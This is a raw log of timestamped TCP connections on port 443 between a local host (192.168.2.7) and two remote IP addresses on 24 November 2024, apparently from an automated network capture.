Nov 24, 2024 05:12:19.185905933 CET	49937	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.199395895 CET	443	49941	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.202850103 CET	443	49941	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.202967882 CET	49941	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.216051102 CET	443	49942	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.219017982 CET	443	49942	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.219079018 CET	443	49942	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.219141960 CET	49942	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.254115105 CET	49941	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.254148960 CET	443	49941	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.254179955 CET	49941	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.254189014 CET	443	49941	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.412158966 CET	49942	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.412175894 CET	443	49942	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.486185074 CET	49937	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.486210108 CET	443	49937	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.486233950 CET	49937	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.486242056 CET	443	49937	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.491209030 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.491240978 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.491298914 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.494395971 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.494405985 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.495979071 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496007919 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.496063948 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496165991 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496184111 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.496522903 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496536016 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.496579885 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496927023 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.496954918 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.497436047 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.497443914 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:19.497489929 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.497672081 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:19.497683048 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:20.332612038 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.375376940 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.839677095 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:20.840312004 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:20.840363026 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:20.840867043 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:20.840876102 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:20.933026075 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933048010 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933054924 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933063984 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933134079 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933144093 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.933192015 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.933206081 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.933238983 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.973407984 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.973472118 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.973530054 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.973542929 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.973578930 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:20.974033117 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:20.974085093 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:21.208009958 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.208957911 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.208976984 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.209435940 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.209803104 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.209809065 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.210114002 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.210139036 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.210514069 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.210519075 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.224013090 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.224462032 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.224493027 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.224921942 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.224927902 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.281555891 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.281704903 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.282434940 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.282464981 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.282948017 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.282962084 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.284645081 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.284698009 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.284708023 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.284751892 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.284816027 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.284852982 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.284879923 CET	49950	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.284895897 CET	443	49950	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.288184881 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.288223982 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.288315058 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.288491964 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.288503885 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.669787884 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.669821978 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.669878960 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.669914007 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.669959068 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.670224905 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.670265913 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.670280933 CET	49953	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.670291901 CET	443	49953	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.672348022 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.672456980 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.672548056 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.673290014 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.673388004 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.673399925 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.673417091 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.673428059 CET	49952	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.673434019 CET	443	49952	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.673470020 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.674525023 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.674561977 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.675370932 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.675683975 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.675725937 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.675791025 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.675904036 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.675920963 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.678376913 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.678431988 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.678462029 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.678469896 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.678482056 CET	49954	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.678487062 CET	443	49954	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.680257082 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.680284977 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.680362940 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.680488110 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.680520058 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.723573923 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.723927975 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.723992109 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.724029064 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.724051952 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.724066973 CET	49955	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.724075079 CET	443	49955	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.728188038 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.728216887 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:21.728312016 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.728446007 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:21.728460073 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:22.207377911 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:22.207418919 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:22.207434893 CET	49943	443	192.168.2.7	4.175.87.197
Nov 24, 2024 05:12:22.207443953 CET	443	49943	4.175.87.197	192.168.2.7
Nov 24, 2024 05:12:23.455380917 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.456109047 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.456144094 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.457258940 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.457587957 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.457624912 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.458033085 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.458039045 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.458180904 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.458187103 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.459060907 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.459352016 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.459358931 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.460129023 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.460134029 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.468866110 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.469223976 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.469269991 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.469620943 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.469626904 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.577821970 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.579689980 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.579720020 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.580190897 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.580198050 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.898390055 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.900909901 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.901626110 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.901719093 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.901907921 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.901930094 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.901949883 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.901974916 CET	49965	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.901982069 CET	443	49965	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.904052019 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.904109955 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.904180050 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.905023098 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.905065060 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.905230045 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.905787945 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.905833006 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.905841112 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.905884981 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.912708044 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.912724972 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.912736893 CET	49964	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.912741899 CET	443	49964	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.919714928 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.919739962 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.919743061 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.919750929 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.919759035 CET	49966	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.919761896 CET	443	49966	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.921406984 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.924499035 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.924546957 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.924854040 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.924885035 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.924904108 CET	49962	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.924916029 CET	443	49962	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.927058935 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.927087069 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.927148104 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.927680016 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.927692890 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.928838015 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.928867102 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.928988934 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.929089069 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.929102898 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.930006981 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.930018902 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:23.930239916 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.930380106 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:23.930388927 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.028465986 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.031852961 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.033987999 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.034046888 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.034059048 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.034069061 CET	49967	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.034074068 CET	443	49967	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.037323952 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.037362099 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:24.037544966 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.037695885 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:24.037708998 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.699120998 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.700064898 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.700094938 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.701051950 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.701059103 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.707600117 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.707947016 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.707954884 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.708498001 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.708501101 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.711157084 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.711412907 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.711438894 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.711735964 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.711740971 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.769979954 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.770558119 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.770577908 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.771058083 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.771063089 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.815521955 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.817292929 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.817312002 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:25.817771912 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:25.817776918 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.142101049 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.142214060 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.142385006 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.142858028 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.142858028 CET	49976	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.142879009 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.142888069 CET	443	49976	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.146002054 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.146110058 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.146199942 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.146573067 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.146608114 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.152858019 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.155183077 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.156172991 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.156224966 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.156301975 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.156301975 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.156378984 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.156378984 CET	49978	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.156394958 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.156414032 CET	443	49978	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.158623934 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.158665895 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.158739090 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.158852100 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.158863068 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.159024000 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.162858009 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.162887096 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.162897110 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.162934065 CET	49979	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.162940025 CET	443	49979	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.164896011 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.164943933 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.166860104 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.166965961 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.166996956 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.222193956 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.225521088 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.226869106 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.226903915 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.226919889 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.226932049 CET	49977	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.226937056 CET	443	49977	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.229183912 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.229207039 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.229281902 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.229379892 CET	49988	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.229388952 CET	443	49988	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.260397911 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.263498068 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.263557911 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.263626099 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.274657011 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.274657011 CET	49981	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.274682999 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.274694920 CET	443	49981	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.294029951 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.294051886 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:26.294120073 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.294264078 CET	49990	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:26.294275999 CET	443	49990	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.867022991 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.867599010 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.867691994 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.868176937 CET	49985	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.868199110 CET	443	49985	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.876271963 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.877415895 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.877437115 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.877918959 CET	49986	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.877926111 CET	443	49986	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.948376894 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.949038029 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.949069023 CET	443	49987	13.107.246.63	192.168.2.7
Nov 24, 2024 05:12:27.949755907 CET	49987	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:12:27.949767113 CET	443	49987	13.107.246.63	192.168.2.7
